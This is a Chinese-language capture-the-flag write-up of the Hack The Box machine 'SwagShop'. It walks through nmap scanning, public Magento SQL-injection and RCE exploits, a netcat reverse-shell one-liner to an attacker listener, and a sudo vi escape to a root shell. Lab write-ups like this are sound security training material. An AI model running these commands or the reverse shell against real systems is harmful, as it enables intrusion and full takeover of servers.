0x00.前言
。
0x01.信息收集
nmap -p- -min-rate 1000 10.10.10.140
nmap -sV -sC 10.10.10.140
端口只开放了22,80。


修改本地/etc/hosts,添加一条记录,将域名swagshop.htb解析到目标IP10.10.10.140。
0x02.CMS历史漏洞拿shell
Web页面使用的CMS是Magento,可以使用Magescan,
php magescan.phar scan:all http://swagshop.htb

可以得到版本信息,这个版本有两个历史漏洞,一个注入漏洞可以修改后台账户密码,一个远程代码执行RCE可以得到反弹shell。
Msf也可以找到,

注入漏洞拿后台账户密码
要利用的话其中的参数需要稍作修改,第一个注入漏洞的利用脚本中,将target参数修改,如下:

再将username和password修改,也可以不做改动,两字段对应的是后台账户密码,如下:

修改好执行就可以了,如下:

RCE远程代码执行拿反弹shell
第二个RCE的利用脚本需要用到mechanize这个库,可以用pip下载,如果本地存在多个Python版本,记得用target参数指定路径,例如:
sudo pip install --target=/usr/lib/python2.7/dist-packages mechanize
pip show numpy //查看库的默认安装路径和pip版本信息

安装好mechanize后,需要对脚本做修改,提供其运行所需的参数,一是提供账户密码,也就是上一个注入脚本中的,

二是将安装时间修改,在以下路径可以查看,
http://swagshop.htb/app/etc/local.xml

修改好后再执行,
python2 37811.py http://10.10.10.140/index.php/admin "id"
出错了,如下:

去网上搜了下,原因如下(原回答地址):

总之,将以下两行注释就好,如下:

再执行,会碰到一个新问题,如下:

将下面这行注释取消,将burp打开,查看脚本发送的数据包逐个排查:

第一个响应数据包返回了一个Cookie,

但在随后的下一个请求数据包中,明显可以看到没有附带这个cookie,似乎 mechanize 没有正确处理 cookie。

mechanize 没有正确处理 cookie,似乎是因为登录成功后请求从IP 302重定向到了域名,mechanize注意到不是同一个domain(域名),所以没有发送Cookie,所以如果一开始给其传递的参数是域名,那自始至终都是一个域名,就不会出现这种问题了。
所以,使用如下命令反弹shell,
python2 37811.py http://swagshop.htb/index.php/admin "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f"

反弹shell也用了些时间,试了几个反弹shell的命令不起作用,官方给的Writeup也不起作用。
0x03.SUDO提权
提权很简单,

允许以root权限执行vi,只需执行如下:
sudo /usr/bin/vi /var/www/html/php.ini.sample -c ':!/bin/sh'

就可以拿到root了,对于这一类用二进制程序提权的方式,国外有一个开源项目名为GTFOBins,诸如vi,vim,zip,tar等一些常见的二进制程序都有对应的利用方式。
0x04.总结
参考文章:
https://0xdf.gitlab.io/2019/09/28/htb-swagshop.html
https://initinfosec.com/writeups/htb/2020/02/01/swagshop-htb-writeup/

Comments | NOTHING